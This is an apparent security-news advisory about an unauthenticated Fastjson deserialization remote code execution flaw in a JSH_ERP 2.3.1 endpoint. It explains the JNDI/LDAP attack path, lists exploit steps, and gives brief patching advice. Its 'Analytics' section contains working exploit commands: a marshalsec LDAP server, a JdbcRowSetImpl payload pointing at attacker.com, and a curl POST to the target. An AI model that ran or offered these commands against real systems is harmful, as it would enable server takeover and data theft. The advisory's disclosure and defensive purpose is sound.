Listen to this Post
The vulnerability resides in the /material/getMaterialEnableSerialNumberList endpoint of jishenghua JSH_ERP version 2.3.1. This endpoint accepts a user-controlled ‘search’ query parameter and passes it directly to the Fastjson parseObject() method for deserialization. Fastjson is a Java JSON library that, when configured insecurely, allows deserialization of arbitrary objects. Attackers can craft a malicious JSON payload containing a JDBC (Java Database Connectivity) connection string. This payload exploits the JNDI (Java Naming and Directory Interface) lookup feature. When the vulnerable application deserializes the payload, it triggers a JNDI lookup to an attacker-controlled LDAP or RMI server. This server then serves a malicious Java class file. The application loads and executes this class, leading to remote code execution. The attack requires no authentication and can be performed via a simple HTTP POST request. The root cause is the lack of input validation and the use of a vulnerable Fastjson version that does not restrict dangerous deserialization features like autotype. This allows attackers to run arbitrary commands on the server, potentially compromising the entire system. The exploit leverages known Fastjson flaws similar to previous CVEs, such as using com.sun.rowset.JdbcRowSetImpl in the payload. The endpoint’s accessibility without proper security checks makes it an easy target. The vulnerability is critical due to the high impact of remote code execution, enabling data theft, system takeover, and further network attacks.
Platform: jishenghua JSH_ERP
Version: 2.3.1
Vulnerability: Fastjson deserialization RCE
Severity: Critical
Date: 25 November 2025
Prediction: Expected patch December 2025
What Undercode Say:
Analytics:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer “http://attacker.com/Exploit”
echo ‘{“search”:”{\”@type\”:\”com.sun.rowset.JdbcRowSetImpl\”,\”dataSourceName\”:\”ldap://attacker.com:1389/Exploit\”,\”autoCommit\”:true}”}’ > payload.json
curl -X POST http://target.com/material/getMaterialEnableSerialNumberList -H “Content-Type: application/json” -d @payload.json
How Exploit:
Set up malicious LDAP server.
Craft JDBC deserialization payload.
Send payload to endpoint.
Execute arbitrary code remotely.
Protection from this CVE
Update Fastjson version.
Disable autotype feature.
Validate input sanitization.
Restrict network outbound connections.
Impact:
Remote code execution.
Full system compromise.
Data breach theft.
Service disruption losses.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
